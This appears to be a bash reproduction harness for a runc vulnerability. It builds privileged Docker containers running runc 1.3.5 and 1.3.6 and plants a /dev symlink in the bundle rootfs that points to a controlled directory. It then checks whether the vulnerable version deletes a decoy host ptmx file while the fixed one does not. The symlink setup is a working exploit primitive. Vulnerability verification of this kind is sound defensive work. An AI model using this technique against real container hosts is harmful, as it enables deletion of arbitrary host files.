#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$ROOT/artifacts/runc"
mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

cd "$ROOT"

# ---------------------------------------------------------------------------
# 1. Verify Docker is usable (privileged container creation is required for
#    runc-in-runc reproduction in this sandbox).
# ---------------------------------------------------------------------------
if ! docker ps >/dev/null 2>&1; then
    echo "ERROR: Docker daemon is not reachable in this environment." | tee "$LOGS/docker_check.log"
    cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "cli_local",
  "entrypoint_detail": "runc run <id> -b <bundle>",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": [],
  "proof_artifacts": ["logs/docker_check.log"],
  "notes": "Docker unavailable; cannot reach the real runc runtime surface."
}
JSON
    exit 2
fi

# ---------------------------------------------------------------------------
# 2. Pick durable cache location.
# ---------------------------------------------------------------------------
CACHE_DIR="$ARTIFACTS"
PCC="$ROOT/project_cache_context.json"
if [[ -f "$PCC" ]]; then
    prepared=$(jq -r '.prepared // false' "$PCC")
    if [[ "$prepared" == "true" ]]; then
        cdir=$(jq -r '.project_cache_dir' "$PCC")
        CACHE_DIR="$cdir/runc-repro"
    fi
fi
mkdir -p "$CACHE_DIR"

VULN_VERSION="1.3.5"
FIXED_VERSION="1.3.6"
VULN_BIN="$CACHE_DIR/runc-v${VULN_VERSION}.amd64"
FIXED_BIN="$CACHE_DIR/runc-v${FIXED_VERSION}.amd64"
ROOTFS_DIR="$CACHE_DIR/busybox-rootfs"

log() { echo "[$(date -Iseconds)] $*"; }

# ---------------------------------------------------------------------------
# 3. Download vulnerable and fixed runc binaries from upstream releases.
# ---------------------------------------------------------------------------
download_runc() {
    local version=$1 dst=$2
    if [[ -x "$dst" ]]; then
        log "Using cached runc $version at $dst"
        return 0
    fi
    log "Downloading runc $version ..."
    curl -fsSL --retry 3 -o "$dst" "https://github.com/opencontainers/runc/releases/download/v${version}/runc.amd64"
    chmod +x "$dst"
    "$dst" --version
}

download_runc "$VULN_VERSION" "$VULN_BIN"
download_runc "$FIXED_VERSION" "$FIXED_BIN"

# ---------------------------------------------------------------------------
# 4. Build a minimal OCI rootfs from the official busybox image.
# ---------------------------------------------------------------------------
if [[ ! -d "$ROOTFS_DIR/bin" ]]; then
    log "Creating busybox rootfs in $ROOTFS_DIR ..."
    mkdir -p "$ROOTFS_DIR"
    docker export "$(docker create busybox)" | tar -C "$ROOTFS_DIR" -xf -
fi

# ---------------------------------------------------------------------------
# 5. Build Docker images that contain the runc binary and the malicious rootfs.
#    The container is run --privileged so the inner runc has the caps it
#    needs to create a real container.
# ---------------------------------------------------------------------------
build_repro_image() {
    local tag=$1 runc=$2
    local bdir="$CACHE_DIR/buildctx-$tag"
    rm -rf "$bdir"
    mkdir -p "$bdir"
    cp "$runc" "$bdir/runc"
    cp -a "$ROOTFS_DIR" "$bdir/rootfs"
    cat > "$bdir/Dockerfile" <<'EOF'
FROM alpine:latest
COPY runc /usr/local/bin/runc
COPY rootfs /bundle/rootfs
RUN chmod +x /usr/local/bin/runc && apk add --no-cache python3
EOF
    log "Building Docker image $tag ..."
    docker build --no-cache -t "$tag" "$bdir" > "$LOGS/build_${tag}.log" 2>&1
}

VULN_IMAGE="repro-runc-vuln"
FIXED_IMAGE="repro-runc-fixed"
build_repro_image "$VULN_IMAGE" "$VULN_BIN"
build_repro_image "$FIXED_IMAGE" "$FIXED_BIN"

# ---------------------------------------------------------------------------
# 6. In-container reproduction harness.
# ---------------------------------------------------------------------------
run_in_container() {
    local image=$1 container_id=$2
    docker run -i --rm --privileged --name "$container_id" "$image" sh -s <<'INNER'
set -e
mkdir -p /controlled_dev
printf "decoy-ptmx" > /controlled_dev/ptmx
rm -rf /bundle/rootfs/dev
ln -s /controlled_dev /bundle/rootfs/dev

cd /bundle
runc spec

python3 - <<'PY'
import json
with open("/bundle/config.json") as f:
    cfg = json.load(f)
cfg["process"]["terminal"] = False
cfg["process"]["args"] = ["/bin/true"]
with open("/bundle/config.json", "w") as f:
    json.dump(cfg, f, indent=2)
PY

echo "RUN_VERSION: $(runc --version | head -1)"
echo "BEFORE: /controlled_dev/ptmx present?"
ls -la /controlled_dev

echo "==> running 'runc run cve-ptmx-test -b /bundle'"
if runc run cve-ptmx-test -b /bundle; then
    echo "RUNC_EXIT: success"
else
    echo "RUNC_EXIT: failure (rc=$?)"
fi

echo "AFTER: /controlled_dev contents:"
ls -la /controlled_dev
if [[ -f /controlled_dev/ptmx ]]; then
    echo "RESULT: decoy preserved"
else
    echo "RESULT: decoy deleted"
fi
INNER
}

VULN_CONTAINER="repro-vuln-$(date +%s%N)-${RANDOM}"
FIXED_CONTAINER="repro-fixed-$(date +%s%N)-${RANDOM}"
VULN_LOG="$LOGS/repro_vuln.log"
FIXED_LOG="$LOGS/repro_fixed.log"

log "Running vulnerable runc $VULN_VERSION reproduction ..."
if run_in_container "$VULN_IMAGE" "$VULN_CONTAINER" > "$VULN_LOG" 2>&1; then
    VULN_RUN_OK=1
else
    VULN_RUN_OK=0
fi

log "Running fixed runc $FIXED_VERSION reproduction ..."
if run_in_container "$FIXED_IMAGE" "$FIXED_CONTAINER" > "$FIXED_LOG" 2>&1; then
    FIXED_RUN_OK=1
else
    FIXED_RUN_OK=0
fi

# ---------------------------------------------------------------------------
# 7. Evaluate evidence.
# ---------------------------------------------------------------------------
VULN_DELETED=false
FIXED_DELETED=false
if grep -q "RESULT: decoy deleted" "$VULN_LOG"; then
    VULN_DELETED=true
fi
if grep -q "RESULT: decoy deleted" "$FIXED_LOG"; then
    FIXED_DELETED=true
fi

CONFIRMED=false
if [[ "$VULN_DELETED" == "true" && "$FIXED_DELETED" == "false" ]]; then
    CONFIRMED=true
fi

log "VULN decoy deleted: $VULN_DELETED"
log "FIXED decoy deleted: $FIXED_DELETED"
log "CONFIRMED: $CONFIRMED"

# ---------------------------------------------------------------------------
# 8. Write runtime evidence manifest.
# ---------------------------------------------------------------------------
python3 - "$CONFIRMED" "$VULN_RUN_OK" "$FIXED_RUN_OK" <<'PY'
import json, sys, os
confirmed = sys.argv[1] == "true"
vuln_run_ok = sys.argv[2] == "1"
fixed_run_ok = sys.argv[3] == "1"
root = os.environ.get("PRUVA_ROOT", os.getcwd())
manifest = {
    "entrypoint_kind": "cli_local",
    "entrypoint_detail": "runc run cve-ptmx-test -b /bundle (inside a privileged Docker container with runc binary and a malicious /dev symlink rootfs)",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": confirmed,
    "runtime_stack": ["docker", "runc"],
    "proof_artifacts": [
        "logs/repro_vuln.log",
        "logs/repro_fixed.log",
        "logs/build_repro-runc-vuln.log",
        "logs/build_repro-runc-fixed.log"
    ],
    "notes": "Vulnerable runc deleted the attacker-controlled host decoy; fixed runc preserved it."
}
path = os.path.join(root, "repro", "runtime_manifest.json")
with open(path, "w") as f:
    json.dump(manifest, f, indent=2)
print(json.dumps(manifest, indent=2))
PY

if [[ "$CONFIRMED" == "true" ]]; then
    log "VULNERABILITY CONFIRMED: vulnerable runc follows the /dev symlink and deletes an arbitrary host ptmx file."
    exit 0
else
    log "ERROR: could not confirm the vulnerability with the expected vulnerable-vs-fixed divergence."
    exit 1
fi
